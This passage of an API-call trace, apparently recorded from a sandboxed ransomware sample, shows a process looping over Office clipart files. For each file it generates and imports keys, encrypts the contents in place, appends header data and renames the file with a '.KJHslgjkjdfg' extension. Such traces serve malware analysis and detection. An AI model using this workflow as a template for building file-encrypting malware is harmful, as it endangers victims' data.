liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.085] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.085] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.085] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.085] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.085] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.087] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0208.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.088] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.088] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.088] SetEndOfFile (hFile=0x130) returned 1 [0208.091] GetProcessHeap () returned 0x990000 [0208.091] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.091] GetProcessHeap () returned 0x990000 [0208.091] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01607U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01607u.bmp.kjhslgjkjdfg")) returned 1 [0208.093] CloseHandle (hObject=0x130) returned 1 [0208.093] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35a3dc00, ftCreationTime.dwHighDateTime=0x1bd4e60, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35a3dc00, ftLastWriteTime.dwHighDateTime=0x1bd4e60, nFileSizeHigh=0x0, nFileSizeLow=0x9abe, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH01931J.JPG", cAlternateFileName="")) returned 1 [0208.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.095] GetProcessHeap () returned 0x990000 [0208.095] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.095] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.095] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.095] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0208.099] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.099] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.099] GetProcessHeap () returned 0x990000 [0208.099] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.099] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.099] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.099] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.099] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.099] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.100] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.100] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.100] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.100] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.100] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.100] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9abe, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9abe, lpOverlapped=0x0) returned 1 [0208.102] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9ac0, dwBufLen=0x9ac0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9ac0) returned 1 [0208.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.102] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9ac0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9ac0, lpOverlapped=0x0) returned 1 [0208.102] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.102] SetEndOfFile (hFile=0x130) returned 1 [0208.105] GetProcessHeap () returned 0x990000 [0208.105] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.105] GetProcessHeap () returned 0x990000 [0208.105] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.kjhslgjkjdfg")) returned 1 [0208.107] CloseHandle (hObject=0x130) returned 1 [0208.107] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x451e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02028K.JPG", cAlternateFileName="")) returned 1 [0208.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.109] GetProcessHeap () returned 0x990000 [0208.109] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.110] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.110] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0208.112] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.112] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.112] GetProcessHeap () returned 0x990000 [0208.112] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.112] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.112] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.112] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.112] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.112] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.113] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.113] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.113] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.113] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.113] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x451e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x451e, lpOverlapped=0x0) returned 1 [0208.114] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4520, dwBufLen=0x4520 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4520) returned 1 [0208.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.114] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4520, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4520, lpOverlapped=0x0) returned 1 [0208.114] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.115] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x45f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.115] SetEndOfFile (hFile=0x130) returned 1 [0208.117] GetProcessHeap () returned 0x990000 [0208.117] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.118] GetProcessHeap () returned 0x990000 [0208.118] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.118] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.kjhslgjkjdfg")) returned 1 [0208.119] CloseHandle (hObject=0x130) returned 1 [0208.119] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a415a00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a415a00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02039U.BMP", cAlternateFileName="")) returned 1 [0208.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.121] GetProcessHeap () returned 0x990000 [0208.121] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.121] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.121] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.121] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.121] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.121] GetProcessHeap () returned 0x990000 [0208.121] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.121] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.121] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.121] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.142] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.142] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.142] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.143] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.143] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.143] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.143] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.143] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.154] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7ce0) returned 1 [0208.154] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.154] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7ce0, lpOverlapped=0x0) returned 1 [0208.154] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.155] SetEndOfFile (hFile=0x130) returned 1 [0208.158] GetProcessHeap () returned 0x990000 [0208.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.158] GetProcessHeap () returned 0x990000 [0208.158] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.kjhslgjkjdfg")) returned 1 [0208.160] CloseHandle (hObject=0x130) returned 1 [0208.160] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x857ca600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x857ca600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02040U.BMP", cAlternateFileName="")) returned 1 [0208.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.161] GetProcessHeap () returned 0x990000 [0208.161] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.161] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.161] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.165] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.165] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.165] GetProcessHeap () returned 0x990000 [0208.165] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.165] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.165] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.165] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.165] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.165] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.165] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.165] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.165] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.166] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.166] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7db8, lpOverlapped=0x0) returned 1 [0208.167] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0, dwBufLen=0x7dc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7dc0) returned 1 [0208.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.168] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7dc0, lpOverlapped=0x0) returned 1 [0208.168] CryptDestroyKey 